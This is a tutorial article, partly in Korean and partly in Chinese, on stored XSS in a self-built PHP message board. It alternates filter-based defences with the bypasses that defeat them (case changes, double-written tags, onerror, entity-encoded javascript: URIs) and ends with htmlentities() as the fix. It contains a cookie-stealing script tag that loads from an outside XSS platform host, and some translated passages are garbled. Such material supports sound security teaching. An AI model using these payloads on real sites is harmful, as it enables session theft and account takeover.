>운영 및 유지보수 >안전 >일회성으로 저장된 XSS에 대한 실제 공격 및 방어

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

王林
王林앞으로
2019-12-03 17:42:523766검색

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

저장되는 내용 XSS

웹 페이지에 실행 가능한 코드를 주입하여 공격 목적을 달성하고, 일반적으로 자바스크립트 스크립트를 주입하여 브라우저에서 성공적으로 실행합니다. 테스트 과정에서 우리는 일반적으로 다음을 사용합니다.

<script>alert(1)</script>

이 js 코드를 사용하여 xss 취약점의 존재를 증명하는 상자를 표시합니다. 그래서 초보자들은 상자를 띄우는 것이 무슨 소용이 있느냐고 물을 수 있습니다.

사실 팝업창은 이 취약점의 존재를 증명하기 위한 것일 뿐입니다. 이 취약점을 악용하는 방법에는 여러 가지가 있습니다.

예를 들어 xss 플랫폼을 사용할 수 있습니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

플랫폼에서 생성된 xss 스크립트를 작성하세요.

<script src=//xsspt.com/ZsgUBf></script>

누군가 이 스크립트가 포함된 페이지에 들어가면 js 스크립트가 쿠키를 가져와서 xss로 보냅니다. 플랫폼.

xss 플랫폼에 로그인하고 기다리기만 하면 쿠키를 받은 후 비밀번호 없이 그의 계정에 로그인할 수 있습니다.

참고: 이 기사의 초점은 해커의 관점에서 XSS 공격을 단계별로 수행한 다음 개발자의 관점에서 XSS 공격을 방어하는 방법을 단계별로 논의하는 것입니다. 따라서 이 글에서는 개발자로서 백엔드 코드를 수정하고, 해커로서 프런트엔드 페이지에 XSS 공격을 가한다는 점에 주목할 필요가 있다.

저장된 xss 취약점의 발현과 관련하여 가장 고전적인 것은 메시지 보드입니다. 하지만 우리는 모두 법을 준수하는 모범생이고 외부 사이트를 테스트할 수 없기 때문에 스스로 게시판을 만드는 데 30분을 소비했습니다.

먼저 프론트엔드 디스플레이 페이지인 Message_Board.php와 백엔드 데이터 저장 페이지인 addMessage.php가 있어야 합니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

프런트엔드 코드는 이 글의 초점이 아닙니다. 관심 있으신 분은 직접 확인해 보세요프런트 엔드 코드), 우리는 백엔드 터미널 코드 addMessage.php:

<?php
	$nickname = @$_POST[&#39;nickname&#39;];//昵称
	$email = @$_POST[&#39;email&#39;];//邮箱
	$content = @$_POST[&#39;content&#39;];//留言内容
	$now_time = @$_POST[&#39;now_time&#39;];//留言时间
	$ini= @parse_ini_file("config.ini");
    $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
		mysql_query("set names &#39;utf8&#39;");//解决中文乱码问题
		mysql_select_db($ini["dbname"]);
		$sql1 = "select count(*) from message_board";
		$result = mysql_query($sql1);
		$floor = mysql_fetch_row($result)[0] + 1;
		$sql = "insert into message_board values
($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
		mysql_query($sql);
	}?>

전달된 4개의 매개 변수를 전혀 처리하지 않은 것을 볼 수 있지만, 데이터베이스에 직접 저장합니다.

다음과 같이 입력하면

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

제출 후 시스템이 자동으로 페이지를 새로 고치고 팝업 상자가 나타납니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

확인을 클릭하면 메시지 내용과 메시지 보낸 사람이 모두 비어 있습니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

이때 js 스크립트가 파싱되었기 때문입니다. 이때 F12를 누르고 브라우저의 개발자 도구를 열고 js 스크립트를 찾습니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

여기서 질문이 나옵니다.

결국 우리에게는 또 다른 정체성이 있는데, 개발자들은 이를 어떻게 방어할 수 있을까요?

0×00, 가장 간단한 것으로 해보자, 프런트엔드 코드만 수정하자

입력 태그에 maxlength 속성을 추가하세요

<input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">

원칙적으로는 js 스크립트의 형식이 > ;길이는 17이므로 프론트 엔드에서 길이를 제한하는 한 해커의 xss 공격을 방지할 수 있습니다.

하지만! 개발이 그리 쉬운 일은 아닙니다!

우리는 개발을 원하는 해커이기 때문에 스스로 해야 합니다.

공격자로서 프런트 엔드 코드를 수정할 수도 있습니다. 구체적인 작업은 브라우저의 F12(개발자 도구)를 사용하는 것입니다.

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

길이를 직접 수정할 수 있음을 알 수 있습니다.

또한 패킷 캡처 방식을 사용하여 길이 제한 없이 패킷에 직접 쓸 수도 있습니다.

0×01. 키워드 스크립트 필터링

xss 공격을 하려면 js 스크립트를 삽입해야 한다는 사실을 개발자라면 쉽게 알 수 있는데, js 스크립트의 특징은 매우 분명합니다. 스크립트에는 스크립트 키워드가 포함되어 있으므로 스크립트 필터링만 수행하면 됩니다.

이전 코드로 돌아갑니다.

설명의 편의를 위해 닉네임 매개변수만 사용합니다. 실제로 전달된 4개의 매개변수는 동일한 방식으로 처리되어야 합니다.

$nickname = str_replace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

上面这个str_replace()函数的意思是把script替换为空。

可以看到,script被替换为空,弹框失败。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<script>alert(1)</script>

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

成功弹框!

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

后端代码修正如下:

$nickname = str_ireplace("script", "", @$_POST[&#39;nickname&#39;]);//昵称

str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

弹框成功!

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

0×03、使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称

显然,弹框失败。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img  src=x onerror=alert(1) alt="일회성으로 저장된 XSS에 대한 실제 공격 및 방어" >

0×04、过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST[&#39;nickname&#39;]);//昵称
$nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#49;&#41;>a</a>

当点击页面上的超链接时,会弹框。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

但是为什么呢?

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“数值;”, 例如“j”可以编码为“j”或“j ”

上述代码解码之后如下:

<a href=javascript:alert(1)>a</a>

你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

当然可以了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;
&#41;>

这种写法,同样既没有script关键字,又没有alert关键字。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

可以看到弹框成功!

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

0×05、过滤特殊字符

优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

可是我不想手撸代码来列举那么多特殊字符怎么办?

php给我们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST[&#39;nickname&#39;]);//昵称

htmlentities()函数的作用是把字符转换为 HTML 实体。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(

可以看到,我们输入的内容全部显示在页面上了。

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

可是却没有弹框。

我们鼠标右键,查看网页源代码

일회성으로 저장된 XSS에 대한 실제 공격 및 방어

际上,我们输入的内容已经变成了HTML实体:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;
&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

无法被解析为js脚本。

黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

0×06、总结

开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

相关文章教程推荐:web服务器安全

위 내용은 일회성으로 저장된 XSS에 대한 실제 공격 및 방어의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 freebuf.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제